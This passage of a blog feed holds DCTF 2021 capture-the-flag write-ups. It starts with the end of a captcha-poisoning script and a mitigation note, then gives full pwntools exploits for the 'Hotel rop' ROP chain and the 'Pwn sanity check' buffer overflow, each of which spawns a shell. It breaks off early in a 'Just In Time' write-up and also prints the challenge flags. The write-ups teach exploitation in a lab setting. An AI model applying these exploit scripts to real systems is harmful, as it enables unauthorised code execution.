<span class="n">pickle_images</span><span class="p">[</span><span class="n">img</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">'src'</span><span class="p">)[</span><span class="mi">23</span><span class="p">:]]</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="s2">"chosen/dogs-"</span><span class="o">+</span><span class="n">img</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s2">"id"</span><span class="p">)</span><span class="o">+</span><span class="s2">".png"</span><span class="p">,</span> <span class="s1">'png'</span><span class="p">)</span>
<span class="n">stats</span> <span class="o">=</span> <span class="p">[[</span><span class="n">x</span><span class="p">,</span><span class="n">used_dogs</span><span class="o">.</span><span class="n">count</span><span class="p">(</span><span class="n">x</span><span class="p">)]</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">set</span><span class="p">(</span><span class="n">used_dogs</span><span class="p">)]</span>
<span class="n">ids_l1</span> <span class="o">=</span> <span class="nb">set</span><span class="p">(</span><span class="n">x</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">stats</span><span class="p">)</span> <span class="c1"># All ids in list 1</span>
<span class="n">intersection</span> <span class="o">=</span> <span class="p">[</span><span class="n">item</span> <span class="k">for</span> <span class="n">item</span> <span class="ow">in</span> <span class="n">stats</span> <span class="k">if</span> <span class="n">item</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="ow">in</span> <span class="n">dogs</span><span class="p">]</span> <span class="c1"># Only those elements of l2 with an id in l1</span>
<span class="n">intersection</span><span class="o">.</span><span class="n">sort</span><span class="p">(</span><span class="n">key</span><span class="o">=</span><span class="k">lambda</span> <span class="n">tup</span><span class="p">:</span> <span class="n">tup</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="n">reverse</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
<span class="c1">#select dogs with the most hits</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">intersection</span><span class="p">)</span><span class="o">==</span><span class="mi">0</span><span class="p">:</span>
<span class="n">sel_dogs</span><span class="o">=</span><span class="n">dogs</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="mi">3</span><span class="p">]</span>
<span class="k">elif</span> <span class="nb">len</span><span class="p">(</span><span class="n">intersection</span><span class="p">)</span> <span class="o"><</span><span class="mi">3</span><span class="p">:</span>
<span class="n">diff</span> <span class="o">=</span> <span class="mi">3</span><span class="o">-</span><span class="nb">len</span><span class="p">(</span><span class="n">intersection</span><span class="p">)</span>
<span class="n">sel_dogs</span> <span class="o">=</span> <span class="p">[</span><span class="n">item</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="k">for</span> <span class="n">item</span> <span class="ow">in</span> <span class="n">intersection</span><span class="p">]</span><span class="o">+</span> <span class="p">[</span><span class="n">item</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="k">for</span> <span class="n">item</span> <span class="ow">in</span> <span class="n">dogs</span> <span class="k">if</span> <span class="n">item</span> <span class="ow">not</span> <span class="ow">in</span> <span class="p">[</span><span class="n">dog</span> <span class="k">for</span> <span class="n">dog</span> <span class="ow">in</span> <span class="n">dogs</span><span class="p">]][</span><span class="mi">0</span><span class="p">:</span><span class="n">diff</span><span class="p">]</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">sel_dogs</span> <span class="o">=</span> <span class="p">[</span><span class="n">item</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="k">for</span> <span class="n">item</span> <span class="ow">in</span> <span class="n">intersection</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="mi">3</span><span class="p">]]</span>
<span class="n">myobj</span> <span class="o">=</span> <span class="p">{</span><span class="s1">'clicked_images'</span><span class="p">:</span> <span class="n">cats</span><span class="o">+</span><span class="n">sel_dogs</span><span class="p">,</span><span class="s2">"id"</span><span class="p">:</span><span class="nb">id</span><span class="p">}</span>
<span class="n">used_dogs</span> <span class="o">=</span> <span class="n">used_dogs</span><span class="o">+</span><span class="n">sel_dogs</span>
<span class="c1"># send the captcha with the smuggled dogs to the captcha endpoint</span>
<span class="n">x</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="s2">"http://localhost/captchaaas/validate"</span><span class="p">,</span> <span class="n">json</span> <span class="o">=</span> <span class="n">myobj</span><span class="p">)</span>
<span class="c1"># output dogs which are classified the most as cats</span>
<span class="n">stats</span> <span class="o">=</span> <span class="p">[[</span><span class="n">x</span><span class="p">,</span><span class="n">used_dogs</span><span class="o">.</span><span class="n">count</span><span class="p">(</span><span class="n">x</span><span class="p">)]</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">set</span><span class="p">(</span><span class="n">used_dogs</span><span class="p">)]</span>
<span class="n">stats</span><span class="o">.</span><span class="n">sort</span><span class="p">(</span><span class="n">key</span><span class="o">=</span><span class="k">lambda</span> <span class="n">tup</span><span class="p">:</span> <span class="n">tup</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">reverse</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">stats</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="mi">10</span><span class="p">])</span>
</code></pre></div>
<h2>Possible mitigation</h2>
<p>Disable the learning feature and just use the label database for verification of captchas instead.</p>DCTF 2021 - Hotel rop2021-05-17T00:00:00+02:002024-02-05T19:10:11+01:00lehrbaumtag:w0y.at,2021-05-17:/writeup/2021/05/17/dctf-2021-hotel-rop.html<p>ROP chain with multiple function and then ret2win</p><h2>Description</h2>
<blockquote>
<p>They say programmers' dream is California. And because they need somewhere to stay, we've built a hotel!</p>
<p><code>nc dctf1-chall-hotel-rop.westeurope.azurecontainer.io 7480</code></p>
</blockquote>
<h2>Preface</h2>
<p>We got a binary file with simple input and some output related to hotel checkIn.</p>
<h2>Overview</h2>
<p>Based on the name of the challenge, we can be certain, that some sort of rop is needed.</p>
<p>Loading the binary into <em>ghidra</em> we can see our function <code>vuln</code>.</p>
<div class="highlight"><pre><span></span><code><span class="kt">void</span><span class="w"> </span><span class="nf">vuln</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">local_28</span><span class="w"> </span><span class="p">[</span><span class="mi">28</span><span class="p">];</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">local_c</span><span class="p">;</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"You come here often?"</span><span class="p">);</span>
<span class="w"> </span><span class="n">fgets</span><span class="p">(</span><span class="n">local_28</span><span class="p">,</span><span class="mh">0x100</span><span class="p">,</span><span class="n">stdin</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">local_c</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"Oh! You are already a regular visitor!"</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"I think you should come here more often."</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>Based on these inputs, we know where we can overflow.
Looking at the functions with <em>radare2</em> and <code>afl</code>, we find the function <code>california, silicon_valley and loss</code>.</p>
<p>The name <code>loss</code> seems to be a reference to the normal ret2win function.
Because in this function we got our system call.</p>
<div class="highlight"><pre><span></span><code><span class="kt">void</span><span class="w"> </span><span class="nf">loss</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">param_1</span><span class="p">,</span><span class="kt">int</span><span class="w"> </span><span class="n">param_2</span><span class="p">)</span>
<span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">param_2</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">param_1</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mh">-0x21523f22</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"Dis is da wae to be one of our finest guests!"</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">param_1</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mh">0x1337c0de</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"Now you can replace our manager!"</span><span class="p">);</span>
<span class="w"> </span><span class="n">system</span><span class="p">((</span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">win_land</span><span class="p">);</span>
<span class="w"> </span><span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>For this to work we need <code>win_land</code> to have the correct content.</p>
<p>For this we have the function <code>california</code></p>
<div class="highlight"><pre><span></span><code><span class="kt">void</span><span class="w"> </span><span class="nf">california</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"Welcome to Hotel California"</span><span class="p">);</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"You can sign out anytime you want, but you can never leave"</span><span class="p">);</span>
<span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="n">undefined</span><span class="w"> </span><span class="o">*</span><span class="p">)((</span><span class="kt">long</span><span class="p">)</span><span class="o">&</span><span class="n">win_land</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="kt">long</span><span class="p">)</span><span class="n">len</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x2f</span><span class="p">;</span>
<span class="w"> </span><span class="n">len</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">len</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="n">undefined</span><span class="w"> </span><span class="o">*</span><span class="p">)((</span><span class="kt">long</span><span class="p">)</span><span class="o">&</span><span class="n">win_land</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="kt">long</span><span class="p">)</span><span class="n">len</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x62</span><span class="p">;</span>
<span class="w"> </span><span class="n">len</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">len</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="n">undefined</span><span class="w"> </span><span class="o">*</span><span class="p">)((</span><span class="kt">long</span><span class="p">)</span><span class="o">&</span><span class="n">win_land</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="kt">long</span><span class="p">)</span><span class="n">len</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x69</span><span class="p">;</span>
<span class="w"> </span><span class="n">len</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">len</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="n">undefined</span><span class="w"> </span><span class="o">*</span><span class="p">)((</span><span class="kt">long</span><span class="p">)</span><span class="o">&</span><span class="n">win_land</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="kt">long</span><span class="p">)</span><span class="n">len</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x6e</span><span class="p">;</span>
<span class="w"> </span><span class="n">len</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">len</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>and the function <code>silicon_valley</code></p>
<div class="highlight"><pre><span></span><code><span class="kt">void</span><span class="w"> </span><span class="nf">silicon_valley</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"You want to work for Google?"</span><span class="p">);</span>
<span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="n">undefined</span><span class="w"> </span><span class="o">*</span><span class="p">)((</span><span class="kt">long</span><span class="p">)</span><span class="o">&</span><span class="n">win_land</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="kt">long</span><span class="p">)</span><span class="n">len</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x2f</span><span class="p">;</span>
<span class="w"> </span><span class="n">len</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">len</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="n">undefined</span><span class="w"> </span><span class="o">*</span><span class="p">)((</span><span class="kt">long</span><span class="p">)</span><span class="o">&</span><span class="n">win_land</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="kt">long</span><span class="p">)</span><span class="n">len</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x73</span><span class="p">;</span>
<span class="w"> </span><span class="n">len</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">len</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="n">undefined</span><span class="w"> </span><span class="o">*</span><span class="p">)((</span><span class="kt">long</span><span class="p">)</span><span class="o">&</span><span class="n">win_land</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="kt">long</span><span class="p">)</span><span class="n">len</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mh">0x68</span><span class="p">;</span>
<span class="w"> </span><span class="n">len</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">len</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="n">undefined</span><span class="w"> </span><span class="o">*</span><span class="p">)((</span><span class="kt">long</span><span class="p">)</span><span class="o">&</span><span class="n">win_land</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="kt">long</span><span class="p">)</span><span class="n">len</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="n">len</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">len</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>So my final rop chain would need to be <code>calfornia</code> -> <code>silicon_valley</code> -> <code>loss</code>.
Looking at the function <code>loss</code> I first thought I need to set the correct parameters.
But because I was to lazy for this I just calculated the offset of the puts relative to the base and add it.
This way I don't need to worry about any parameters and get to system.</p>
<p>So my finale exploit code was:</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/usr/bin/env python3</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="o">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s1">'amd64'</span>
<span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s2">"INFO"</span>
<span class="n">vulnerable</span> <span class="o">=</span> <span class="s1">'./hotel_rop'</span>
<span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="n">vulnerable</span><span class="p">)</span>
<span class="c1">#p = elf.process()</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">"dctf1-chall-hotel-rop.westeurope.azurecontainer.io"</span><span class="p">,</span> <span class="mi">7480</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">readuntil</span><span class="p">(</span><span class="s1">'Welcome to Hotel ROP, on main street '</span><span class="p">)</span>
<span class="n">main_address</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">readline</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">(),</span> <span class="mi">16</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"main at"</span><span class="p">,</span><span class="nb">hex</span><span class="p">(</span><span class="n">main_address</span><span class="p">))</span>
<span class="n">main</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">'main'</span><span class="p">]</span>
<span class="n">california</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">'california'</span><span class="p">]</span>
<span class="n">silicon_valley</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">'silicon_valley'</span><span class="p">]</span>
<span class="n">loss</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">'loss'</span><span class="p">]</span>
<span class="n">rop</span> <span class="o">=</span> <span class="n">ROP</span><span class="p">(</span><span class="n">elf</span><span class="p">)</span>
<span class="n">rop</span><span class="o">.</span><span class="n">call</span><span class="p">(</span><span class="n">main_address</span><span class="o">+</span><span class="p">(</span><span class="n">california</span><span class="o">-</span><span class="n">main</span><span class="p">))</span>
<span class="n">rop</span><span class="o">.</span><span class="n">call</span><span class="p">(</span><span class="n">main_address</span><span class="o">+</span><span class="p">(</span><span class="n">silicon_valley</span><span class="o">-</span><span class="n">main</span><span class="p">))</span>
<span class="n">rop</span><span class="o">.</span><span class="n">call</span><span class="p">(</span><span class="n">main_address</span><span class="o">+</span><span class="p">(</span><span class="n">loss</span><span class="o">-</span><span class="n">main</span><span class="p">)</span><span class="o">+</span><span class="mh">0x32</span><span class="p">)</span> <span class="c1"># Skip all the checks and go to puts and then system</span>
<span class="n">p</span><span class="o">.</span><span class="n">readuntil</span><span class="p">(</span><span class="s1">'You come here often?'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'</span><span class="se">\x41</span><span class="s1">'</span><span class="o">*</span><span class="mi">40</span><span class="o">+</span><span class="nb">bytes</span><span class="p">(</span><span class="n">rop</span><span class="p">))</span>
<span class="n">p</span><span class="o">.</span><span class="n">readuntil</span><span class="p">(</span><span class="s1">'I think you should come here more often.'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">read</span><span class="p">(</span> <span class="mi">2048</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">1</span> <span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">read</span><span class="p">(</span> <span class="mi">2048</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">1</span> <span class="p">)</span> <span class="c1"># cleanup output</span>
<span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div>
<p>In the shell I only needed to print the content of <code>flag.txt</code>.</p>
<p>The flag was:</p>
<p><code>dctf{ch41n_0f_h0t3ls}</code></p>DCTF 2021 - Pwn sanity check2021-05-17T00:00:00+02:002024-02-05T19:10:11+01:00lehrbaumtag:w0y.at,2021-05-17:/writeup/2021/05/17/dctf-2021-pwn-sanity-check.html<p>Simple buffer overflow with ret2win.</p><h2>Description</h2>
<blockquote>
<p>This should take about 1337 seconds to solve.</p>
<p><code>nc dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io 7480</code></p>
</blockquote>
<h2>Preface</h2>
<p>We get a simple binary, with simple input and output.</p>
<h2>Overview</h2>
<p>Looking at the binary in <em>ghidra</em>, I found these functions.</p>
<div class="highlight"><pre><span></span><code><span class="kt">void</span><span class="w"> </span><span class="nf">vuln</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">local_48</span><span class="w"> </span><span class="p">[</span><span class="mi">60</span><span class="p">];</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">local_c</span><span class="p">;</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"tell me a joke"</span><span class="p">);</span>
<span class="w"> </span><span class="n">fgets</span><span class="p">(</span><span class="n">local_48</span><span class="p">,</span><span class="mh">0x100</span><span class="p">,</span><span class="n">stdin</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">local_c</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mh">-0x21523f22</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"very good, here is a shell for you. "</span><span class="p">);</span>
<span class="w"> </span><span class="n">shell</span><span class="p">();</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"will this work?"</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">void</span><span class="w"> </span><span class="nf">shell</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"spawning /bin/sh process"</span><span class="p">);</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"wush!"</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"$> "</span><span class="p">);</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"If this is not good enough, you will just have to try harder :)"</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">void</span><span class="w"> </span><span class="nf">win</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">param_1</span><span class="p">,</span><span class="kt">int</span><span class="w"> </span><span class="n">param_2</span><span class="p">)</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"you made it to win land, no free handouts this time, try harder"</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">param_1</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mh">-0x21524111</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"one down, one to go!"</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">param_2</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mh">0x1337c0de</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"2/2 bro good job"</span><span class="p">);</span>
<span class="w"> </span><span class="n">system</span><span class="p">(</span><span class="s">"/bin/sh"</span><span class="p">);</span>
<span class="w"> </span><span class="cm">/* WARNING: Subroutine does not return */</span>
<span class="w"> </span><span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>From looking at these functions I knew, setting the variable isn't the correct way, because it wasn't a real shell.</p>
<p>But I can jump to win, for a long time I tried to ret2win with all the parameters set. But then I realized, I could just skip the checks.
Because if I jump to the offset of win, where the calls where over, I could just ignore the setting of any parameters and get the shell.</p>
<p>My final exploit script was:</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/usr/bin/env python3</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="o">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s1">'amd64'</span>
<span class="c1">#context.log_level = "DEBUG"</span>
<span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s2">"INFO"</span>
<span class="n">context</span><span class="o">.</span><span class="n">terminal</span> <span class="o">=</span> <span class="p">[</span><span class="s1">'xfce4-terminal'</span><span class="p">,</span> <span class="s1">'-x'</span><span class="p">,</span> <span class="s1">'sh'</span><span class="p">,</span> <span class="s1">'-c'</span><span class="p">]</span>
<span class="n">vulnerable</span> <span class="o">=</span> <span class="s1">'./pwn_sanity_check'</span>
<span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="n">vulnerable</span><span class="p">)</span>
<span class="c1">#p = process( vulnerable )</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">"dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io"</span><span class="p">,</span> <span class="mi">7480</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">readuntil</span><span class="p">(</span><span class="s1">'tell me a joke'</span><span class="p">)</span>
<span class="n">ret_offset</span> <span class="o">=</span> <span class="mi">72</span>
<span class="c1"># 60 for buffer 4 for integer and 8 for RBP</span>
<span class="n">win_function</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">'win'</span><span class="p">]</span>
<span class="n">win_function_shell</span> <span class="o">=</span> <span class="n">win_function</span> <span class="o">+</span> <span class="mh">0x44</span> <span class="c1"># Skipping all parameter checks</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">'</span><span class="se">\x41</span><span class="s1">'</span><span class="o">*</span><span class="p">(</span><span class="n">ret_offset</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">win_function_shell</span><span class="p">))</span>
<span class="n">p</span><span class="o">.</span><span class="n">readuntil</span><span class="p">(</span><span class="s1">'will this work'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">read</span><span class="p">(</span> <span class="mi">2048</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">1</span> <span class="p">)</span> <span class="c1"># cleanup output</span>
<span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div>
<p>The complete flag was:
<code>dctf{Ju5t_m0v3_0n}</code></p>DCTF 2021 - Just In Time2021-05-17T00:00:00+02:002024-02-05T19:10:11+01:00lehrbaumtag:w0y.at,2021-05-17:/writeup/2021/05/17/dctf-2021-just-in-time.html<p>Using frida to get decrypted flag.</p><h2>Description</h2>
<blockquote>
<p>Don't fall in (rabbit) holes</p>
</blockquote>
<h2>Preface</h2>
<p>We get a binary which just prints <code>Decryption finished.</code></p>
<h2>Overview</h2>
<p>Using ghidra, we can analyse the binary.</p>
<p>Inside the <em>main</em> of the binary we can see, that their is some binary content and multiple functions called with <code>strncpy</code> in between.</p>
<div class="highlight"><pre><span></span><code><span class="n">undefined8</span><span class="w"> </span><span class="nf">main</span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">argc</span><span class="p">,</span><span class="kt">char</span><span class="w"> </span><span class="o">**</span><span class="n">argv</span><span class="p">)</span>
<span class="p">{</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">key_text</span><span class="p">;</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">key_buffer</span><span class="p">;</span>
<span class="w"> </span><span class="kt">long</span><span class="w"> </span><span class="n">lVar1</span><span class="p">;</span>
<span class="w"> </span><span class="n">undefined8</span><span class="w"> </span><span class="n">cipher_0</span><span class="p">;</span>
<span class="w"> </span><span class="n">undefined8</span><span class="w"> </span><span class="n">cipher_8</span><span class="p">;</span>
<span class="w"> </span><span class="n">undefined8</span><span class="w"> </span><span class="n">cipher_16</span><span class="p">;</span>
<span class="w"> </span><span class="n">undefined8</span><span class="w"> </span><span class="n">cipher_24</span><span class="p">;</span>
<span class="w"> </span><span class="n">undefined4</span><span class="w"> </span><span class="n">cipher_32</span><span class="p">;</span>
<span class="w"> </span><span class="n">undefined2</span><span class="w"> </span><span class="n">cipher_36</span><span class="p">;</span>
<span class="w"> </span><span class="n">undefined</span><span class="w"> </span><span class="n">cipher_38</span><span class="p">;</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">buffer</span><span class="p">;</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">key</span><span class="p">;</span>
